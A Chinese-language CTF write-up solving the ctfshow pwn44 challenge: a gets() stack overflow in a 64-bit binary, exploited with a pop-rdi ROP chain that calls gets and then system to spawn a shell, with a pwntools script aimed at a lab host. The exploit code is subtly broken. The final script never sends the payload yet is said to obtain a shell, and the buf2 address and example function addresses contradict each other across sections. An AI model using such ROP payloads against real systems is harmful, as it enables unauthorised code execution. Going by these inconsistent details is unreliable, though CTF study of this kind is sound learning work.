ctfshow pwn44

目录

[1. 分析程序](#1. 分析程序)

[2. 利用链构造](#2. 利用链构造)

[3. POC编写](#3. POC编写)

[3.1. 第一种编写poc](#3.1. 第一种编写poc)

[3.2. 第二种编写poc](#3.2. 第二种编写poc)

[3.3. 两种构造方式对比](#3.3. 两种构造方式对比)

[4. 漏洞验证](#4. 漏洞验证)


1. 分析程序

首先检查程序相关保护,发现程序为64位且只开启了一个NX保护

checksec pwn

使用IDA进行逆向分析代码,查看漏洞触发点:

在main函数中,有一个ctfshow函数,这里我们跟进ctfshow()

发现存在一个gets()函数,此函数写法存在漏洞,我们可以输入任意长度的字符串,进而栈溢出。这里需要达到溢出的地址为offect=0x0a+8

  • 当程序执行到 gets() 时:
    • 程序会阻塞等待用户输入
    • 用户通过键盘(或输入重定向)输入数据
    • 它可以无限读取,不会判断上限,可以包含空格,以回车结束读取。
    • 输入的数据会被原样复制buf 指向的内存中

同样的是,程序存在一个函数hint(),且hint()函数只有system系统函数,没有了"/bin/sh"等敏感字符串,这时候我们就要想办法写入"/bin/sh"。

2. 利用链构造

和上题一样都是存在get()以及system()函数,但是没有"/bin/sh"字符串,因此需要我们进行手动输出,现在需要找到可写段位置,

先运行程序,查看程序可写段,发现在0x602000-0x603000段存在读写权限 (rw),这时我们可以通过get将恶意代码写入这个地址段上,然后getshell。在此段中选取0x602000作为buf2。

64位程序与32位有所不同,具体如下:

  • 当参数少于7个时, 参数从左到右放⼊寄存器: rdi, rsi, rdx, rcx, r8, r9。
  • 当参数为7个以上时, 前 6 个与前⾯⼀样, 但后⾯的依次从 "右向左" 放⼊栈中,和32位汇编⼀样。

所以需要通过rdi进行传值,通过ROPgadget工具可直接进行查询,这里我们选取pop_rdi为:0x4007f3

复制代码
ROPgadget --binary pwn --only "pop|ret" | grep ret

gets函数以及system函数的地址就用objdump进行查询。最后获取gets地址为:0x400530 ,system地址为:0x400520

复制代码
objdump -d -j .plt pwn | grep "system"
objdump -d -j .plt pwn | grep "gets"

3. POC编写

3.1. 第一种编写poc

复制代码
payload = b'a'*offset + p64(pop_rdi) + p64(buf2) + p64(gets) + p64(pop_rdi) + p64(buf2) + p64(system) + b'aaaa' + p64(buf2)
  • *b'a'offset
    • 长度:0xA(10) + 8 = 18字节。
    • 作用:填充缓冲区,覆盖局部变量等,直到覆盖到返回地址的位置。cyclic生成的序列(如aaaabaaacaaadaaae...)用于在崩溃时确定精确偏移量(调试阶段常用)。这里18字节表示溢出点距离返回地址的偏移。
  • p64(pop_rdi) + p64(buf2)
    • p64(pop_rdi)pop_rdi gadget的地址。执行时,pop rdi指令从栈中弹出一个值到RDI寄存器,然后ret(返回)指令跳转到栈上的下一个地址。
    • p64(buf2)buf2缓冲区的地址(例如,0x601000)。它会被pop rdi弹出到RDI,作为后续函数的第一个参数。
    • 作用:设置RDI寄存器为buf2的地址,为调用gets做准备。
  • p64(gets)
    • gets函数的地址(例如,0x7ffff7e4b100)。
    • 作用:跳转到gets函数。由于RDI已设置为buf2,这相当于调用gets(buf2),从标准输入读取用户输入并写入buf2指向的缓冲区。gets返回时,会从栈上读取下一个返回地址。
  • p64(pop_rdi) + p64(buf2)(第二次出现):
    • 与第一部分相同:再次设置RDI寄存器为buf2的地址。
    • 作用:为调用system做准备,因为system需要RDI存储命令字符串的地址。
  • p64(system)
    • system函数的地址(例如,0x7ffff7e1b2a0)。
    • 作用:跳转到system函数。由于RDI已设置为buf2,这相当于调用system(buf2),执行buf2中的命令(如**/bin/sh**)。
  • 'aaaa'
    • 4字节的ASCII字符串(0x61616161)。
    • 作用:填充或对齐。在64位系统中,函数返回地址应为8字节,但这里只有4字节,可能导致栈不对齐。这可能是一个错误或简化写法(理想情况应为8字节填充如b'aaaaaaaa')。当system返回时,它会尝试使用这4字节和后续数据作为返回地址,但通常不重要(因为system成功执行后不会返回)。
  • p64(buf2)(第三次出现):
    • buf2的地址(例如,0x601000)。
    • 作用:用途不明确,可能是冗余或错误。在payload末尾,它不会被system使用(因为参数已通过RDI传递)。可能意图是作为system的返回地址,但由于**'aaaa'**只有4字节,它会被部分覆盖,导致无效地址。

3.2. 第二种编写poc

复制代码
payload=b'a'*offset + p64(pop_rdi) + p64(buf2) + p64(gets) + p64(pop_rdi) + p64(buf2) + p64(system)
  • *b'a'offset - 缓冲区填充
    • 作用:覆盖栈空间直到返回地址位置
    • offset:通过调试确定的精确偏移量(使EIP/RIP指向返回地址)
    • 填充字符:任意字符,常用cyclic模式确定偏移
    • 通过调试确定的精确偏移量(使EIP/RIP指向返回地址)
  • p64(pop_rdi) - 第一个gadget
    • 指令:pop rdi; ret
    • 作用:从栈中弹出下一个值到RDI寄存器(x64第一个参数寄存器)
    • 地址:通常来自二进制文件中的gadget(如ROPgadget --binary vuln
  • p64(buf2) - 第一个参数
    • 作用:作为**gets()**函数的参数(写入目标地址)
    • 要求:可写的内存地址(如.bss段)
    • 示例:0x601000(.bss段地址)
  • p64(gets) - 目标函数#1
    • 函数:*gets(char s)
    • 作用:从stdin读取用户输入(直到换行符)到buf2
    • 危险:不检查边界(允许写入任意数据)
    • 地址:通常来自GOT/PLT(gets@plt
  • p64(pop_rdi) - 第二个gadget
    • 再次使用pop rdi; ret
    • 作用:为**system()**准备参数
  • p64(buf2) - 第二个参数
    • 作用:作为**system()**的参数(命令字符串地址)
    • 关键:此时buf2已包含用户输入的命令
  • p64(system) - 目标函数#2
    • 函数:*system(const char command)
    • 作用:执行buf2中的命令
    • 地址:通常来自libc或PLT(system@plt

3.3. 两种构造方式对比

|-----------------|-------------------------|-----------|--------------------|
| 特性 | POC1 | POC2 | 关键影响分析 |
| 尾部结构 | + b'aaaa' + p64(buf2) | 无尾部数据 | POC1 有冗余且潜在危险的尾部数据 |
| 栈布局大小 | 多出 12 字节 | 更紧凑 | POC2 payload 更小 |
| system 返回处理 | 指定了返回地址(但无效) | 未指定返回地址 | 两者在成功执行时无实质区别 |
| 栈内存使用 | 多占用 12 字节栈空间 | 栈使用更精简 | POC2 内存效率更高 |
| 实际有效性 | 尾部数据可能引起崩溃 | 更简洁可靠 | POC2 是更优的实现 |

4. 漏洞验证

完整poc如下:

复制代码
from pwn import *
p = remote('192.168.79.135', 10001)

offset=0x0a+8
pop_rdi=0x4007f3
buf2=0x602080
gets=0x400530
ret_gadget=0x4004fe
system=0x400520

payload=b'a'*offset + p64(pop_rdi) + p64(buf2) + p64(gets) + p64(pop_rdi) + p64(buf2) + p64(system)
p.interactive()

服务端启动相关程序,挂载至本地的10001端口上:sudo socat TCP4-LISTEN:10001,fork EXEC:./pwn

攻击端运行编写好的程序,可以看到获取了服务端的权限

相关推荐
ajassi20003 小时前
开源 Linux 服务器与中间件(七)数据库--MySQL
linux·服务器·数据库·ubuntu·开源
晚枫~3 小时前
图论基础:探索节点与关系的复杂网络
网络·数据结构·图论
---学无止境---3 小时前
Linux中页表缓存初始化pgtable_cache_init函数的实现
linux
风为你而吹3 小时前
【玩泰山派】8、泰山派安装armbian,玩armbian
linux
qiuiuiu4134 小时前
正点原子RK3568学习日志12-注册字符设备
linux·开发语言·单片机·学习·ubuntu
一吃就胖的4 小时前
【给服务器安装服务器安装nacos】
java·运维·服务器
小云数据库服务专线4 小时前
GaussDB 应用侧报no pg_hba.conf entry for host处理方法
服务器·网络·gaussdb
christine-rr4 小时前
linux常用命令——其他
linux·服务器·网络·数据库·redis·ubuntu
zhaotiannuo_19984 小时前
虚拟机安装ikuai系统相关配置
运维·服务器·性能优化